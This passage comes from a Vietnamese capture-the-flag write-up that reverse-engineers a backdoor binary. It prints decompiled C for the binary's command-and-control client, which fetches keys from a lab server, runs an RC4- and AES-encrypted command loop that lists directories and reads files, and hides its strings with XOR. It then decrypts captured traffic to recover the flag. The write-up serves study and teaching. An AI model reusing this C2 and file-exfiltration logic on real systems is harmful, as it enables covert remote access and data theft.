0x7FFFFFFF) == -1 ) { v50 = -1; goto LABEL_54; } v54 = accept(v40, 0, 0); if ( v54 == -1 ) { closesocket(v40); WSACleanup(); return -1; } closesocket(v40); memset(v73, 0, 4096); while ( 1 ) { memset(v69, 0, 1048); v41 = recv(v54, v69, 1048, 0); if ( v41 <= 0 ) break; v57 = strlen(v69); v42 = strlen(v73); mem_concat(v73, v42, v69, v57, v73); if ( v69[strlen(v69) - 1] == 10 ) goto LABEL_31; } if ( v41 ) { closesocket(v54); goto LABEL_39; } LABEL_31: v73[strlen(v73) - 1] = 0; v63 = 0; v43 = strlen(v73); v44 = b64_decode_ex(v73, v43, &v63); memset(v66, 0, 192); AES_init_ctx_iv(v66, &key_bytes, &iv_bytes); strlen(v73); AES_CBC_decrypt_buffer(v66, v44); (*v44)[0][v63] = 0; v45 = strlen(v44); v58 = json_parse(v44, v45); memset(v70, 0, 2048); v61[0] = 0; process_object(v58, 2, v70, v61); memset(v74, 0, 4096); strcpy(v68, "1"); v46 = strcmp(v70, v68); if ( v46 ) { strcpy(v68, "2"); v46 = strcmp(v70, v68); if ( v46 ) { strcpy(v68, "3"); v46 = strcmp(v70, v68); if ( v46 ) { strcpy(v68, "4"); v46 = strcmp(v70, v68); if ( v46 ) { v46 = 0; strcpy(v68, "5"); if ( !strcmp(v70, v68) ) { strcpy(v68, "ok"); v46 = 1; strcpy(v74, v68); } } else { pwd(v74); } } else { v61[0] = 0; memset(v68, 0, 1024); process_object(v58, 3, v68, v61); cat_file(v68, v74); } } else { v61[0] = 0; memset(v68, 0, 1024); process_object(v58, 3, v68, v61); if ( cd_dir(v68) ) { qmemcpy(v60, "PVQU__<", sizeof(v60)); v51 = v60; v52 = strcpy; v53 = 54; do *v51++ ^= v53++; while ( v53 != 61 ); v52(v74); } else { strcpy(v60, "ok"); strcpy(v74, v60); } } } else { list(v74); } v47 = (strlen(v74) & 0xFFFFFFF0) + 16; memset(v66, 0, 192); AES_init_ctx_iv(v66, &key_bytes, &iv_bytes); AES_CBC_encrypt_buffer(v66); v48 = b64_encode(v74, v47); v59 = send; v49 = strlen(v48); if ( v59(v54, v48, v49, 0) == -1 ) { v50 = 1; closesocket(v54); WSACleanup(); return v50; } if ( shutdown(v54, 1) == -1 ) { closesocket(v54); v50 = 1; WSACleanup(); return v50; } closesocket(v54); WSACleanup(); freeaddrinfo(v62); if ( !v46 ) continue; return v55; } ``` Khúc trên mới nhìn vào thì nó hơi bùi nhùi 1 xíu :)) nma mình sẽ tách từng phần nhỏ ra dễ nói hơn: P/S: Trong lúc làm mình không đổi tên bất cứ biến nào..., và write up này cũng vậy <(") nên ráng theo dõi tuần tự nhé #### Khởi tạo ```c memset(v70, 0, 2048); wcscpy(v74, L"key"); if ( !get_request(v74, v70) ) return -1; v3 = strlen(v70); v4 = b64_decode(v70, v3); v5 = strlen(v4); v6 = json_parse(v4, v5); memset(v70, 0, 2048); v61[0] = 0; process_object(v6, 1, v70, v61); v7 = srand; v8 = time(0); v7(v8); memset(v65, 0, 80); memset(v71, 0, 2048); ``` Hàm `get_request`: thực hiện GET request đến IP `10.0.2.15:8080/` + a1, sau đó response sẽ trả về vào a2: ```c __int64 __fastcall get_request(const wchar_t *a1, char *a2) { __int64 v4; // r12 unsigned int v5; // ebp __int64 v6; // rax __int64 v7; // rbx __int64 v8; // rax __int64 v9; // rsi __int64 v10; // rax __int64 v11; // r13 unsigned int v13; // [rsp+44h] [rbp-1444h] BYREF unsigned int v14; // [rsp+48h] [rbp-1440h] BYREF int v15; // [rsp+4Ch] [rbp-143Ch] BYREF char v16[1024]; // [rsp+50h] [rbp-1438h] BYREF char v17[4152]; // [rsp+450h] [rbp-1038h] BYREF v4 = calloc(3000, 1); v13 = 0; v14 = 0; memset(v16, 0, 1024); v5 = 0; memset(v17, 0, 4096); v15 = 1024; if ( !ObtainUserAgentString(0, v16, &v15) ) { mbstowcs(v17, v16, 1024); v6 = WinHttpOpen(v17, 1, 0, 0, 0x10000000); v7 = v6; if ( v6 ) { v8 = WinHttpConnect(v6, L"10.0.2.15", 8080, 0); v9 = v8; if ( v8 ) { v10 = WinHttpOpenRequest(v8, 0, a1, 0, 0, 0, 0); v11 = v10; if ( v10 ) { if ( WinHttpSendRequest(v10, 0, 0, 0, 0, 200, 0) && WinHttpReceiveResponse(v11, 0) ) { WinHttpQueryDataAvailable(v11, &v13); v5 = 1; WinHttpReadData(v11, v4, v13, &v14); } else { v5 = 0; } WinHttpCloseHandle(v11); } WinHttpCloseHandle(v9); } WinHttpCloseHandle(v7); } memcpy(a2, v4, v14); a2[v14] = 0; } return v5; } ``` Như vậy trong phần khởi tạo sẽ gọi đến `/key` để request server -> lưu 2048 bytes trả về vào trong `v70`. Sau đó chương trình sẽ decode base64 `v70` -> `v4`. Từ `v4` parse json vào `v6`, và đoán là sẽ lấy object có key `v70`, lưu vào `v61[0]`. Để xác thực, dump GET Request `/key` từ Wireshark và decode base64 ta được: ```json {"token": "ce537007fc0c1f1b42680e74d2658ab100bef36a43d8afaac4ece4702fb1610f", "key": "yuaNTDdgYR3cJIQcpnSfe6fXlWKMUmZxFzD0xWKVjNXWPYlShZVL+zg9TOnFkWBeoK03bp7i+WZCVZDflzzc3A=="} ``` -> Xác thực giả thiết và `v61[0]` sẽ chứa `key` ở dạng base64! #### Tạo khoá công khai với RC4 Khúc này ban đầu mình cũng khá là đau đầu :)) hàm `text_68` sau khi inspect sẽ biết được nó là `vsprintf`, vậy mà tham số truyền vào lại là mấy chuỗi tiếng Tàu... vậy thì đống data xử lý như thế nào <("). Khoảng vài phút sau mới nhận ra thực ra là lỗi bên IDA :)) VMProtect đổi mấy hàm `strcpy` thành `wcscpy` để anti static analysis, thành ra IDA sẽ luôn nhận tham số thứ 2 là chuỗi Unicode, thay vì là chuỗi ascii (1 ký tự Unicode được ghép từ 2 hay nhiều bytes lại với nhau, trong khi ascii chỉ cần 1 byte để biểu diễn) Quick fix cho vấn đề này thì phải tab qua lại với bên assembly để lấy số ban đầu, sau đó decode sang chuỗi little endian... Chú ý: cách này mình dùng trong lúc thi thôi do thời gian gấp rút, còn cho đơn giản thì có thể dùng cyberchef như sau ![wannagame-2022_2022-12-17-23-58-04](https://hackmd.io/_uploads/rJw0HrELp.png) ```c v9 = key; v61[1] = 0; v10 = iv; do { v11 = rand(); v12 = v11; wcscpy(v74, L"〥報"); // %01X -> Để in hex text_68(v9, v74, (v11 >> 4) & 0xF); wcscpy(v74, L"〥報"); // %01X text_68(v9 + 1, v74, v12 & 0xF); v13 = rand(); v14 = v13; wcscpy(v74, L"〥報"); // %01X text_68(v10, v74, (v13 >> 4) & 0xF); v9 += 2; wcscpy(v74, L"〥報"); // %01X v15 = v10 + 1; v10 += 2; text_68(v15, v74, v14 & 0xF); } while ( v9 != &key[32] ); // Tạo random 1 số và convert sang hex nối vào key (v9), tương tự với IV (v10) mem_concat(key, 32, iv, 32, v65); // Nối: v65 = key + iv, mỗi chuỗi độ dài là 32 bytes -> size Key với IV là 16 memset(v72, 0, 2048); wmemcpy(v74, L"ᕍ䭈䵓䥝ᵛ慺䍠", 7); // \x4d\x15\x48\x4b\x53\x4d\x5d\x49\x5b\x1d\x7a\x61\x60\x43 v16 = v74; do { *v16 ^= 54 - v74 + v16; // Tối giản thành *v16 ^= 54 + i -> {"private": "\x00 v16 = (v16 + 1); } while ( (&v75 + 6) != v16 ); v17 = strlen(v72); mem_concat(v72, v17, v74, 13, v72); // v72 += v74 v18 = strlen(v72); mem_concat(v72, v18, v65, 64, v72); // v72 += v65 wmemcpy(v74, L"ᬔᬘ告䥎Ԝ灠灰灰䜻", 9); // \x14\x1b\x18\x1b\x4a\x54\x4e\x49\x1c\x05\x60\x70\x70\x70\x70\x70\x3b\x47 v19 = v74; do { *v19 ^= 54 - v74 + v19; // Tương tự -> ", "port": 12345}\x00 v19 = (v19 + 1); } while ( v19 != (&v76 + 2) ); v20 = strlen(v72); mem_concat(v72, v20, v74, 17, v72); // v72 += v74 v21 = strlen(v72); rc4(v70, v61[0], v72, v21, v71); // Từ hàm RC4 trên https://gist.github.com/rverton/a44fc8ca67ab9ec32089, // Thứ tự có thể là key -> plain -> cipher, suy ra là encrypt v72 với key là v61[0], hay key mà ta tìm được ở phần trước (thông qua request từ server), kết quả sẽ lưu ở v71 v22 = strlen(v72); v23 = strlen(user_token); mem_concat(user_token, v23, v71, v22, v71); // v71 = user_token + v71, user_token ở đây có thể là token ở phần trước, do đã bỏ qua việc xét tới hàm process_object v24 = strlen(v72); v25 = v24 + strlen(user_token); v26 = b64_encode(v71, v25); // encode v71 -> v26 wcscpy(v74, L"key"); v56 = v26; if ( !post_request(v74, v26, 0) ) // Gửi post request v26 lên server: return -1; ``` Với lượng thông tin ta biết được, cấu trúc của gói tin sẽ như sau: Base64(TOKEN_FROM_SERVER + RC4(KEY_FROM_SERVER, JSON_OF_KEY_IV)) -> Giải mã được như sau: ![wannagame-2022_2022-12-18-00-33-32](https://hackmd.io/_uploads/Hy118H48T.png) ```json {"private": "3A87C22F8F2500606FACB653F1F686BC94DC0CF2BA4F121A94FB432D59D53992", "port": 12345} ``` Tách làm đôi ``` KEY = 3A87C22F8F2500606FACB653F1F686BC, IV = 94DC0CF2BA4F121A94FB432D59D53992 ``` #### Thiết lập kết nối Ở phần này thì thực ra chỉ cần để ý những dòng sau: ```c AES_init_ctx_iv(v66, &key_bytes, &iv_bytes); AES_CBC_encrypt_buffer(v66); v32 = strlen(user_token); mem_concat(user_token, v32, v72, v31, v72); v33 = strlen(user_token); v34 = b64_encode(v72, v31 + v33); ``` Hơn nữa hàm parse_json cũng sẽ được gọi khá nhiều -> Chương trình đang thiết lập giao thức socket TCP bằng AES CBC với KEY và IV ở trên. Lúc mình làm ra khúc này thì còn 10p :)) nên phần sau đây sẽ lụi luôn <("), setup cyberchef với thông số thích hợp và lần lượt dump các tcp stream để check xem giao tiếp qua lại những gì (khúc này chắc ý định của tác giả sẽ là viết tool để decode conversation, nhưng hên là không có quá nhiều nên mình làm chay vẫn kịp giờ :))) Nhìn sơ qua thì có vẻ chương trình đang thực hiện chạy lệnh gì đó, (maybe nhận lệnh đọc file từ server, sau đó gửi ngược lại ?). Cấu trúc gói tin của 2 bên cũng tương tự như trên: Base64(USER_TOKEN + AES(KEY_FROM_SERVER, IV_FROM_SERVER, DATA)) Kết quả là đã tìm được ở tcp stream 20 :)) ![wannagame-2022_2022-12-18-00-45-40](https://hackmd.io/_uploads/S1_1US4Ua.png) Phần UserToken mình làm biếng nên sẽ để chung rồi decrypt luôn, cũng không ảnh hưởng mấy tới kết quả :v ![wannagame-2022_2022-12-18-00-46-06](https://hackmd.io/_uploads/SyhJ8HVIp.png) **flag**: `n3tc4t_15_l15t3nIng_0n_p07t_8080`